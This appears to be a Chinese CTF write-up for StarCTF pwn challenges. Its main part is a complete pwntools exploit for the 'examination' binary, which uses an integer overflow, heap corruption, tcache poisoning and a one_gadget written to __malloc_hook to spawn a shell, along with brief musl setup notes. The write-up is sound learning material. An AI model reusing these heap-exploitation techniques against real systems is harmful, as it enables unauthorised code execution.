XCTF-StartCTF

examination

ret2school once again
nc 124.70.130.92 60001

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct student
{
__int64 *score_addr;
null;
__int64 *mode_addr;
int pray_flag;
int reward_flag;

}S;
// size = 0x30


struct student_score
{
int number_of_questions;
int score;
char *review_addr;
int review_size;
}Ss;
// size = 0x20

利用思路

  1. student_pray -> teacher_score,减了10分之后造成整数溢出,满足check for review任意地址+1的条件
  2. review_size的地址+1,造成write溢出和show的溢出。
  3. 先打tcache,再onegadget到malloc_hook
  4. teacher_6,触发malloc,getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import *
import time, sys, base64
import ctypes
context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'examination'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',25323)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF('./libc.so.6')
libc = elf.libc




def cmd(index):
p.sendlineafter('choice>> ',str(index))

########################### Teacher ##############################

def add(num):
cmd(1)
p.sendlineafter('questions: ',str(num))

def score():
cmd(2)

def write_a_review_first(index,size,comment):
cmd(3)
p.sendlineafter('which one? > ',str(index))
p.sendlineafter('size of comment: ',str(size))
p.sendlineafter('enter your comment:',comment)

def write_a_review(index,comment):
cmd(3)
p.sendlineafter('which one? > ',str(index))
p.sendlineafter('enter your comment:',comment)


def parent(index):
cmd(4)
p.sendlineafter('choose?\n',str(index))

########################### Student ##############################

def student_check():
cmd(2)

def student_pray():
cmd(3)

def student_mode(mode,score=None):
cmd(4)
data = p.recvline()
if "100" in data:
p.sendline(score)
else:
p.sendline(mode)

def student_changeid(ID):
cmd(6)
p.sendlineafter('input your id: ',str(ID))

#########################################################
def studenttoTeacher():
cmd(5)
role(0)

def teachertoStudent():
cmd(5)
role(1)

def role(index):
p.sendlineafter('<0.teacher/1.student>: ',str(index))

#########################################################

# gdb.attach(p,'b *$rebase(0x1e0b)')

role(0)
add(1)
teachertoStudent()
student_pray()
studenttoTeacher()
score()
write_a_review_first(0,0x10,'a'*0x10)
teachertoStudent()
student_check()
p.recvuntil('reward! ')
heap_base = int(p.recv(14),16) - 0x2a0
log.success('addr: ' + hex(heap_base))
p.sendlineafter('add 1 to wherever you want! addr: ',str(((heap_base+0x2e1)*10)))

studenttoTeacher()
add(2)
write_a_review_first(1,0x80,'b'*0x10)
target_addr = heap_base + 0x10
payload = 'a'*0x10 + p64(0) + p64(0x31)
payload += p64(heap_base+0x340) + p64(0)*4 + p64(0x21)
payload += p64(2) + p64(target_addr)
payload += p64(0x100) + p64(0x91)
write_a_review(0,payload)

payload = '\xff'*0x20
write_a_review(1,payload)
payload = 'a'*0x10 + p64(0) + p64(0x31)
payload += p64(heap_base+0x340) + p64(0)*4 + p64(0x21)
payload += p64(2) + p64(heap_base+0x360)
payload += p64(0x100) + p64(0x91)
write_a_review(0,payload)
add(3)
parent(1)
add(2)

payload = 'b'*0x18 + p64(0x31) + p64(heap_base+0x340) + p64(0)*4
payload += p64(0x21) + p64(2) + p64(heap_base+0x2b8) + p64(0x110) + p64(0x91)
write_a_review(0,payload)
write_a_review(2,p64(0))
teachertoStudent()
student_changeid(2)
student_check()
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x66
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = libc_base + 0xe3b31
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
log.success('libc_base: ' + hex(malloc_hook))

studenttoTeacher()
payload = 'b'*0x18 + p64(0x31) + p64(heap_base+0x340) + p64(0)*4
payload += p64(0x21) + p64(2) + p64(malloc_hook) + p64(0x110) + p64(0x91)
write_a_review(0,payload)
write_a_review(2,p64(one))
cmd(6)
# gdb.attach(p)

p.interactive()

babynote

It’s just a traditional challenge
nc 123.60.76.240 60001

一个musl的题目

libc.so

1
2
3
4
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]

musl启动方法

直接利用题目给的libc文件

1
./libc.so ./babynote

exp中:

1
p = process(["./libc.so",'./babynote'])

musl pwn基础

咕咕咕…

ping

$ ping 123.60.8.251
PING 123.60.8.251 (123.60.8.251): 56 data bytes
64 bytes from 123.60.8.251: icmp_seq=0 ttl=39 time=20.397 ms
64 bytes from 123.60.8.251: icmp_seq=1 ttl=39 time=18.976 ms
64 bytes from 123.60.8.251: icmp_seq=2 ttl=39 time=20.381 ms
64 bytes from 123.60.8.251: icmp_seq=3 ttl=39 time=18.297 ms
64 bytes from 123.60.8.251: icmp_seq=4 ttl=39 time=20.751 ms

mirror server: 20.239.70.121

babyarm

It is so simple, simplest, cannot be simpler…

Download Link

nc 124.70.158.154 60001